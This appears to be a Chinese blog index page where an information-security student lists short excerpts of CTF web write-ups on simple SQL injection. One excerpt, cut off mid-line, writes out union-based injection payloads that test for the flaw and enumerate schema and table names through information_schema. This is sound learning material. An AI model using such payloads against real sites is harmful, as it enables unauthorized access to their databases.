ctf
RED_散
学生一枚,信息安全专业。
展开
-
CTF Web简单的SQL注入
题目链接原创 2017-09-17 19:02:04 · 943 阅读 · 0 评论 -
CTF 这个看起来有点简单!
题目链接跟之前的sql类似,尝试基本的注入 id=1 and 1=1 发现不报错,可以注入。以一样的方式爆库爆表爆字段,注意输出是两个字段的。 id=1 and 1=2 union select 1,schema_name from information_schema.schemata id=1 and 1=2 union select 1,table_name from in原创 2017-09-19 20:31:43 · 587 阅读 · 0 评论